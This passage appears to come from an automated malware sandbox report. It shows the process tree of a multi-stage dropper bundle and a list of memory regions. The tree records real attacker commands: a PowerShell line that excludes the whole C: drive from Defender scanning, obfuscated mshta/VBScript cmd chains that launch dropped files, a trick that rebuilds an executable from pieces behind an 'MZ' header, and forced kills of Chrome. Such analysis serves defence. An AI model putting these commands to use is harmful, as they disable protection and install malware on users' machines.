                                                                                • Suspicious use of SendNotifyMessage
                                                                                PID:3160
                                                                              • C:\Users\Public\run.exe
                                                                                C:\Users\Public\run.exe
                                                                                6⤵
                                                                                • Executes dropped EXE
                                                                                • Suspicious use of SetThreadContext
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                PID:3916
                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                  7⤵
                                                                                  • Executes dropped EXE
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1936
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 252
                                                                                  7⤵
                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                  • Program crash
                                                                                  PID:4516
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c Tue09792fda06e.exe
                                                                            4⤵
                                                                              PID:2800
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09792fda06e.exe
                                                                                Tue09792fda06e.exe
                                                                                5⤵
                                                                                  PID:4728
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 & If "-PhwqM9LteEkjDz5gZPyhw9N49u86 " == "" for %b In ("C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe" ) do taskkill /f /iM "%~Nxb"
                                                                                    6⤵
                                                                                      PID:5256
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c Tue091e2054cef7.exe
                                                                                  4⤵
                                                                                    PID:3600
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue091e2054cef7.exe
                                                                                      Tue091e2054cef7.exe
                                                                                      5⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetThreadContext
                                                                                      • Modifies registry class
                                                                                      PID:4824
                                                                                      • C:\Windows\System32\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"
                                                                                        6⤵
                                                                                          PID:7028
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'
                                                                                            7⤵
                                                                                              PID:6204
                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                8⤵
                                                                                                  PID:912
                                                                                            • C:\Windows\System32\WScript.exe
                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"
                                                                                              6⤵
                                                                                                PID:7052
                                                                                                • C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Checks whether UAC is enabled
                                                                                                  • Modifies Internet Explorer settings
                                                                                                  PID:5528
                                                                                              • C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:7148
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
                                                                                                  7⤵
                                                                                                    PID:3096
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c Tue09264824c4.exe
                                                                                              4⤵
                                                                                                PID:3168
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09264824c4.exe
                                                                                                  Tue09264824c4.exe
                                                                                                  5⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4464
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c Tue0990c8b597f.exe
                                                                                                4⤵
                                                                                                  PID:4108
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0990c8b597f.exe
                                                                                                    Tue0990c8b597f.exe
                                                                                                    5⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:4692
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c Tue0971aafeebb6f.exe
                                                                                                  4⤵
                                                                                                    PID:2320
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0971aafeebb6f.exe
                                                                                                      Tue0971aafeebb6f.exe
                                                                                                      5⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:400
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c taskkill /f /im chrome.exe
                                                                                                        6⤵
                                                                                                          PID:6404
                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                            taskkill /f /im chrome.exe
                                                                                                            7⤵
                                                                                                            • Kills process with taskkill
                                                                                                            PID:6044
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c Tue093cbcf0222440.exe
                                                                                                      4⤵
                                                                                                        PID:4760
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c Tue0956c36b51.exe /mixone
                                                                                                        4⤵
                                                                                                          PID:4684
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c Tue09786995c7f02a923.exe
                                                                                                          4⤵
                                                                                                            PID:2384
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c Tue09c1731fe55c7.exe
                                                                                                            4⤵
                                                                                                              PID:2176
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c Tue09a30919dc5f00.exe
                                                                                                              4⤵
                                                                                                                PID:1600
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c Tue09c6db969ab9.exe
                                                                                                                4⤵
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:1884
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue093cbcf0222440.exe
                                                                                                          Tue093cbcf0222440.exe
                                                                                                          1⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:4452
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue093cbcf0222440.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue093cbcf0222440.exe" -u
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:4800
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-V7U8T.tmp\Tue0990c8b597f.tmp
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-V7U8T.tmp\Tue0990c8b597f.tmp" /SL5="$7005C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0990c8b597f.exe"
                                                                                                          1⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Loads dropped DLL
                                                                                                          PID:4780
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0990c8b597f.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0990c8b597f.exe" /SILENT
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:4608
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-R5BGQ.tmp\Tue0990c8b597f.tmp
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-R5BGQ.tmp\Tue0990c8b597f.tmp" /SL5="$2020C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0990c8b597f.exe" /SILENT
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              • Checks whether UAC is enabled
                                                                                                              • Drops file in Program Files directory
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                              PID:3240
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-N0IFK.tmp\postback.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-N0IFK.tmp\postback.exe" ss1
                                                                                                                4⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Checks whether UAC is enabled
                                                                                                                PID:1008
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09786995c7f02a923.exe
                                                                                                          Tue09786995c7f02a923.exe
                                                                                                          1⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:4448
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\2432910619.exe"
                                                                                                            2⤵
                                                                                                              PID:1828
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2432910619.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\2432910619.exe"
                                                                                                                3⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:5620
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\6109820058.exe"
                                                                                                              2⤵
                                                                                                                PID:5128
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\6109820058.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\6109820058.exe"
                                                                                                                  3⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:5256
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue09786995c7f02a923.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09786995c7f02a923.exe" & exit
                                                                                                                2⤵
                                                                                                                  PID:2800
                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                    taskkill /im "Tue09786995c7f02a923.exe" /f
                                                                                                                    3⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    PID:2304
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09a30919dc5f00.exe
                                                                                                                Tue09a30919dc5f00.exe
                                                                                                                1⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Checks whether UAC is enabled
                                                                                                                PID:4404
                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                  "C:\Windows\System32\mshta.exe" vbscrIPT: CLosE( creatEobjeCt ( "WSCRIpt.Shell" ). RUN ( "C:\Windows\system32\cmd.exe /R TYPe ""C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09a30919dc5f00.exe"" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 & If """" == """" for %b In (""C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09a30919dc5f00.exe"" ) do taskkill /f /iM ""%~Nxb"" " , 0 , TRUe ) )
                                                                                                                  2⤵
                                                                                                                  • Checks whether UAC is enabled
                                                                                                                  PID:3464
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\system32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09a30919dc5f00.exe" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 & If "" == "" for %b In ("C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09a30919dc5f00.exe" ) do taskkill /f /iM "%~Nxb"
                                                                                                                    3⤵
                                                                                                                      PID:296
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe
                                                                                                                        ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86
                                                                                                                        4⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Checks whether UAC is enabled
                                                                                                                        PID:484
                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                          "C:\Windows\System32\mshta.exe" vbscrIPT: CLosE( creatEobjeCt ( "WSCRIpt.Shell" ). RUN ( "C:\Windows\system32\cmd.exe /R TYPe ""C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe"" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 & If ""-PhwqM9LteEkjDz5gZPyhw9N49u86 "" == """" for %b In (""C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe"" ) do taskkill /f /iM ""%~Nxb"" " , 0 , TRUe ) )
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Checks whether UAC is enabled
                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                          PID:4728
                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                          "C:\Windows\System32\mshta.exe" VBscrIpT: cloSE ( cREateObJEct ( "wsCRipt.SheLl" ). rUn ( "Cmd.exe /q /R ecHo | sEt /P = ""MZ"" > ~dWBNpV.F & Copy /b /y ~dWbNpV.F + YsLNPQ.k + 9Jd86KPL.RS + 6VTZU.XA8+CQ3X0._ + 3hAXC.X ..\2GBhNGG.N &sTaRt msiexec.exe /y ..\2GbhNGG.n & DEl /Q * " , 0, TRue ) )
                                                                                                                          5⤵
                                                                                                                          • Checks whether UAC is enabled
                                                                                                                          PID:5996
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /q /R ecHo | sEt /P = "MZ" > ~dWBNpV.F & Copy /b /y ~dWbNpV.F + YsLNPQ.k + 9Jd86KPL.RS + 6VTZU.XA8+CQ3X0._ + 3hAXC.X ..\2GBhNGG.N &sTaRt msiexec.exe /y ..\2GbhNGG.n & DEl /Q *
                                                                                                                            6⤵
                                                                                                                              PID:1900
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" ecHo "
                                                                                                                                7⤵
                                                                                                                                  PID:6112
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>~dWBNpV.F"
                                                                                                                                  7⤵
                                                                                                                                    PID:912
                                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                    msiexec.exe /y ..\2GbhNGG.n
                                                                                                                                    7⤵
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    PID:6524
                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                              taskkill /f /iM "Tue09a30919dc5f00.exe"
                                                                                                                              4⤵
                                                                                                                              • Kills process with taskkill
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5320
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0956c36b51.exe
                                                                                                                        Tue0956c36b51.exe /mixone
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:4716
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 660
                                                                                                                          2⤵
                                                                                                                          • Program crash
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:3392
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 676
                                                                                                                          2⤵
                                                                                                                          • Program crash
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:5168
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 632
                                                                                                                          2⤵
                                                                                                                          • Program crash
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:5444
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 636
                                                                                                                          2⤵
                                                                                                                          • Program crash
                                                                                                                          PID:5564
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 908
                                                                                                                          2⤵
                                                                                                                          • Program crash
                                                                                                                          PID:5788
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 932
                                                                                                                          2⤵
                                                                                                                          • Program crash
                                                                                                                          PID:868
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 1096
                                                                                                                          2⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          • Program crash
                                                                                                                          PID:6208
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09c1731fe55c7.exe
                                                                                                                        Tue09c1731fe55c7.exe
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                        PID:4796
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09c1731fe55c7.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09c1731fe55c7.exe
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:840
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09c6db969ab9.exe
                                                                                                                        Tue09c6db969ab9.exe
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                        PID:1836
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09c6db969ab9.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09c6db969ab9.exe
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:1720
                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                        1⤵
                                                                                                                        • Drops file in Windows directory
                                                                                                                        • Modifies registry class
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:5692
                                                                                                                      • C:\Windows\system32\browser_broker.exe
                                                                                                                        C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:5812
                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                          1⤵
                                                                                                                          • Loads dropped DLL
                                                                                                                          • Modifies registry class
                                                                                                                          PID:5920
                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                          1⤵
                                                                                                                          • Process spawned unexpected child process
                                                                                                                          PID:1844
                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                          1⤵
                                                                                                                          • Process spawned unexpected child process
                                                                                                                          PID:6736
                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                            2⤵
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Modifies registry class
                                                                                                                            PID:5804
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\9AFF.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\9AFF.exe
                                                                                                                          1⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:6752
                                                                                                                          • C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
                                                                                                                            "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
                                                                                                                            2⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                            PID:68

                                                                                                                        Network

                                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        • memory/356-726-0x00000271CD280000-0x00000271CD2F2000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          456KB

                                                                                                                        • memory/840-281-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          120KB

                                                                                                                        • memory/840-324-0x0000000004CC0000-0x00000000052C6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          6.0MB

                                                                                                                        • memory/916-348-0x000000001B630000-0x000000001B632000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/1076-701-0x0000021D08B40000-0x0000021D08BB2000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          456KB

                                                                                                                        • memory/1140-422-0x000000001BB40000-0x000000001BB42000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/1244-358-0x0000000003090000-0x0000000003091000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/1712-351-0x000000001BE60000-0x000000001BE62000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/1720-330-0x0000000004DB0000-0x00000000053B6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          6.0MB

                                                                                                                        • memory/1720-298-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/1720-294-0x00000000053C0000-0x00000000053C1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/1720-280-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          128KB

                                                                                                                        • memory/1724-368-0x0000000000DB0000-0x0000000000DC2000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          72KB

                                                                                                                        • memory/1724-345-0x0000000000CF0000-0x0000000000D00000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/1804-501-0x0000000000590000-0x00000000006DA000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.3MB

                                                                                                                        • memory/1804-502-0x0000000000400000-0x000000000058A000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.5MB

                                                                                                                        • memory/1836-247-0x0000000002980000-0x0000000002981000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/1836-251-0x0000000002980000-0x00000000029F6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          472KB

                                                                                                                        • memory/1836-230-0x00000000006C0000-0x00000000006C1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/1836-253-0x0000000005540000-0x0000000005541000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/1852-365-0x000000001BF70000-0x000000001BF72000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/1936-409-0x000000001BD50000-0x000000001BD52000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/1936-656-0x0000000008ED0000-0x00000000094D6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          6.0MB

                                                                                                                        • memory/2124-694-0x00000000030C0000-0x00000000030C1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-268-0x0000000007EC0000-0x0000000007EC1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-262-0x0000000007CA0000-0x0000000007CA1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-212-0x0000000003000000-0x0000000003001000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-249-0x0000000007500000-0x0000000007501000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-219-0x0000000003000000-0x0000000003001000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-499-0x0000000007003000-0x0000000007004000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-246-0x0000000007002000-0x0000000007003000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-464-0x000000007F190000-0x000000007F191000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-296-0x0000000008360000-0x0000000008361000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-271-0x0000000007470000-0x0000000007471000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-266-0x0000000007E50000-0x0000000007E51000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2444-241-0x0000000007000000-0x0000000007001000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-498-0x00000000045C3000-0x00000000045C4000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-235-0x0000000004550000-0x0000000004551000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-214-0x0000000000860000-0x0000000000861000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-244-0x00000000045C0000-0x00000000045C1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-258-0x0000000006D70000-0x0000000006D71000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-467-0x000000007E920000-0x000000007E921000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-237-0x0000000006E90000-0x0000000006E91000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-245-0x00000000045C2000-0x00000000045C3000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2704-218-0x0000000000860000-0x0000000000861000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/2776-696-0x0000027553800000-0x0000027553872000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          456KB

                                                                                                                        • memory/2816-427-0x0000000004A50000-0x0000000004A51000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/3044-421-0x0000000002350000-0x0000000002366000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          88KB

                                                                                                                        • memory/3240-282-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/3436-404-0x00000000053B0000-0x00000000053B1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/3912-406-0x0000000005990000-0x0000000005991000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4024-279-0x0000000000A70000-0x0000000000A71000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4040-222-0x0000000000850000-0x0000000000852000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/4040-211-0x00000000003F0000-0x00000000003F1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4040-292-0x000000001C120000-0x000000001C121000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4040-187-0x00000000002B0000-0x00000000002B1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4180-186-0x0000000000210000-0x0000000000211000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4180-216-0x000000001B680000-0x000000001B682000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/4248-141-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          100KB

                                                                                                                        • memory/4248-136-0x0000000064940000-0x0000000064959000-memory.dmp

